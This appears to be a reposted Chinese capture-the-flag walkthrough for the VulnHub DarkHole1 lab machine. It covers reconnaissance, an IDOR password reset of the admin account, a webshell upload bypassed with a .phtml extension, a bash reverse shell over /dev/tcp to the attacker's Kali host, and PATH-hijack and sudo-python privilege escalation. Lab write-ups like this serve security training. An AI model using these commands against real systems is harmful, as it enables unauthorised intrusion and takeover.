VulnHub_DarkHole1靶機滲透流程
注意:部署時,靶機的網路連接模式必須和kali一致,讓靶機跟kali處于同一網段,這用kali才能掃出靶機的主機
1. 資訊收集
1.1 探測IP
使用nmap掃描同一個段下存活的IP
nmap 192.168.157.0/24
發現192.168.157.138開放了80埠,訪問后確認為此次滲透的靶機

1.2 詳細資訊掃描
nmap -A -p- 192.168.157.138
-A:啟用作業系統探測與版本檢測、腳本掃描和敏感性資訊探測等
-p-:掃描所有埠,從0到65535

顯示開放了22、80埠,開啟了ssh、http服務
1.3 敏感目錄掃描
dirsearch -u 192.168.157.138 -e *
-e *:遞回列舉目錄,使用*匹配所有目錄

1.4 指紋收集
whatweb是一款網頁指紋識別工具,可以從網頁內容與源代碼中提取特征,判斷網頁后端技術,
whatweb -v 192.168.157.138
-v 引數表示啟用冗余模式,可以獲取更詳細的識別資訊

2. 滲透流程
2.1 注冊賬戶登錄

這里注意到我登錄新注冊的用戶時 id=2,那么訪問一下 id=1

“不允許訪問其他用戶資訊” 確實存在,應該是管理員用戶
2.2 越權登錄admin
有修改密碼的位置,抓一下修改密碼的包

id 處可以產生越權,改成 id=1 后發包,即可用密碼1111登錄admin用戶

2.3 檔案上傳獲取shell
多出了一個檔案上傳區域,傳個一句話木馬

限制了檔案上傳型別只能為 jpg、png、gif
那么先抓包改包,嘗試后綴名為 phtml 時成功上傳并執行

連接蟻劍

2.4 反彈shell
在john目錄下發現可執行檔案 toto

利用蟻劍寫一個shell腳本進行連接
bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'

利用bash,反彈一個shell給kali

連接成功
2.5 提權獲取john用戶shell
查看toto檔案

發現uid為john,可以利用環境變數來切換得到john用戶shell,在/tmp目錄下
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto
GPT的解釋:
這段代碼做了以下幾件事:
- echo "/bin/bash" > /tmp/id : 在/tmp目錄下創建一個檔案id,內容是/bin/bash
- chmod +x /tmp/id : 給id檔案添加執行權限
- export PATH=/tmp:$PATH : 將/tmp目錄添加到PATH環境變數中
所以總的效果是在/tmp下創建了一個名為id的bash執行檔案,并將其添加到了PATH路徑中,
這 Bring 了一定安全隱患,因為現在直接輸入id命令,會執行/tmp下的id檔案,也就相當于執行了一個bash shell,
這種通過修改PATH實作攻擊的技術,我們稱之為PATH變數攻擊,攻擊者通過控制某個目錄或檔案的名稱,并修改PATH環境變數,使得該目錄下的某檔案在執行某些命令時被執行,達到攻擊目的,

拿到john用戶下的flag:DarkHole{You_Can_DO_It}
3. 獲取root權限
查看john用戶的password :root123

ssh連接,登錄john

搜一下具有sudo權限的命令

用戶可以編輯并執行root權限的python腳本
那我們將獲取shell的命令加入到python腳本中再去執行就可以獲得root權限
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

得到root用戶的flag:DarkHole{You_Are_Legend}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553232.html
標籤:其他
上一篇:web3 產品介紹:Mirror.xyz是一個創新的去中心化出版平臺
下一篇:返回列表
